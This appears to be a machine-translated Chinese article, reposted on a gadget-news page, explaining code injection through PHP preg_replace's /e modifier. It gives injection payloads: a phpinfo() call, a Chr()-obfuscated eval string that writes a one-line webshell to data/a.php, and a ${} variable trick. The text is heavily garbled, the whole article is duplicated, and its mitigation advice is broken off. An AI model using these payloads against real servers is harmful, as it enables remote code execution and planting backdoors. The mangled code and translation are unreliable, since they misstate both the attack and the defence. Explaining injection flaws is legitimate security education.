数码资讯
谨慎使用的preg_replace危险/E改性剂(门后面的句子)
选购提示
关注价格、性能、续航、售后和真实使用场景,理性比较后再下单。
preg_replace函数原型:
混合preg_replace(混合模式,混合置换,混合主体{,} int限制)
特别说明:
/ E修饰符使preg_replace()使用替代参数作为PHP代码(在适当的反向引用代替)。提示:确保置换构成一个合法的PHP代码字符串,否则PHP会出现语法分析错误报告行包含preg_replace()。
举一个例子:uff1a
复制代码代码如下所示:
< PHP
preg_replace( / /(} * >)
1.strtoupper( 3 2)。
html_body美元);
>
这将将输入字符串中的所有HTML标记转换为大写。
安全威胁分析:
通常主题参数由客户机生成,客户机可以构造恶意代码,如:
复制代码代码如下所示:
<
回声preg_replace( / / 测试
>
如果我们提交H = phpinfo(),phpinfo()将被执行(使用 / E的改性剂,preg_replace将PHP代码执行的替代参数)。
如果我们提交以下代码呢
H = eval(CHR(102),Chr(112),Chr(117),Chr(116),Chr(115),Chr(40),Chr(102),Chr(111),Chr(112),Chr(101),Chr(110),Chr(40))。
CHR(116),Chr(97),Chr(47),Chr(97),Chr(46),Chr(112),Chr(104),Chr(112),Chr(39),Chr(44),Chr(39)Chr(119)。
CHR(63),Chr(112),Chr(104),Chr(112),Chr(32),Chr(101),Chr(118),Chr(97),Chr(108),Chr(40),Chr(36)Chr(95)。
CHR(99)(99),Chr(109)(109),Chr(100),Chr(93),Chr(41),Chr(63),Chr(62),Chr(39),Chr(41)Chr(59))。
对应的密文的明文是:作用是:将内容(fopen(数据/ A.php,W),);
执行的结果是生成一个句子一个木马文件A.php在 / /目录数据。
又一个困难的例子:
复制代码代码如下所示:
<
功能测试(STR)
{
}
回声preg_replace( / * { php }(1){或}的PHP /工程师、测试( 1 )
>
将H = { php } phpinfo()(){ } / PHP,phpinfo()被执行
当然不是。因为在正则匹配,替换参数becomes'test(phpinfo),与phpinfo仅视为一个字符串参数。
有没有一种方法可以实施
是的,当然,在这种情况下,如果我们提交H = { } { $ { PHP phpinfo()()} } { / php },phpinfo()将被执行。为什么
在PHP中,如果双引号内有一个变量,PHP解释器将把它替换为变量解释的结果;单引号中的变量将不被处理。
注意:双引号中的函数没有执行和替换。
这里我们需要{ $ { } }构造一个特殊的变量,测试({ $ { phpinfo()} }),允许将要执行的功能效应($ { phpinfo)}将解释(执行)。
可以完成以下测试:
复制代码代码如下所示:
回声({ } } $ { phpinfo);
Phpinfo将成功执行。
如何防范这样的漏洞
测试( )修改测试(1) 1
混合preg_replace(混合模式,混合置换,混合主体{,} int限制)
特别说明:
/ E修饰符使preg_replace()使用替代参数作为PHP代码(在适当的反向引用代替)。提示:确保置换构成一个合法的PHP代码字符串,否则PHP会出现语法分析错误报告行包含preg_replace()。
举一个例子:uff1a
复制代码代码如下所示:
< PHP
preg_replace( / /(} * >)
1.strtoupper( 3 2)。
html_body美元);
>
这将将输入字符串中的所有HTML标记转换为大写。
安全威胁分析:
通常主题参数由客户机生成,客户机可以构造恶意代码,如:
复制代码代码如下所示:
<
回声preg_replace( / / 测试
>
如果我们提交H = phpinfo(),phpinfo()将被执行(使用 / E的改性剂,preg_replace将PHP代码执行的替代参数)。
如果我们提交以下代码呢
H = eval(CHR(102),Chr(112),Chr(117),Chr(116),Chr(115),Chr(40),Chr(102),Chr(111),Chr(112),Chr(101),Chr(110),Chr(40))。
CHR(116),Chr(97),Chr(47),Chr(97),Chr(46),Chr(112),Chr(104),Chr(112),Chr(39),Chr(44),Chr(39)Chr(119)。
CHR(63),Chr(112),Chr(104),Chr(112),Chr(32),Chr(101),Chr(118),Chr(97),Chr(108),Chr(40),Chr(36)Chr(95)。
CHR(99)(99),Chr(109)(109),Chr(100),Chr(93),Chr(41),Chr(63),Chr(62),Chr(39),Chr(41)Chr(59))。
对应的密文的明文是:作用是:将内容(fopen(数据/ A.php,W),);
执行的结果是生成一个句子一个木马文件A.php在 / /目录数据。
又一个困难的例子:
复制代码代码如下所示:
<
功能测试(STR)
{
}
回声preg_replace( / * { php }(1){或}的PHP /工程师、测试( 1 )
>
将H = { php } phpinfo()(){ } / PHP,phpinfo()被执行
当然不是。因为在正则匹配,替换参数becomes'test(phpinfo),与phpinfo仅视为一个字符串参数。
有没有一种方法可以实施
是的,当然,在这种情况下,如果我们提交H = { } { $ { PHP phpinfo()()} } { / php },phpinfo()将被执行。为什么
在PHP中,如果双引号内有一个变量,PHP解释器将把它替换为变量解释的结果;单引号中的变量将不被处理。
注意:双引号中的函数没有执行和替换。
这里我们需要{ $ { } }构造一个特殊的变量,测试({ $ { phpinfo()} }),允许将要执行的功能效应($ { phpinfo)}将解释(执行)。
可以完成以下测试:
复制代码代码如下所示:
回声({ } } $ { phpinfo);
Phpinfo将成功执行。
如何防范这样的漏洞
测试( )修改测试(1) 1
声明:本文内容用于数码产品信息整理与选购参考,具体价格、库存、售后政策以官方渠道和电商页面实时信息为准。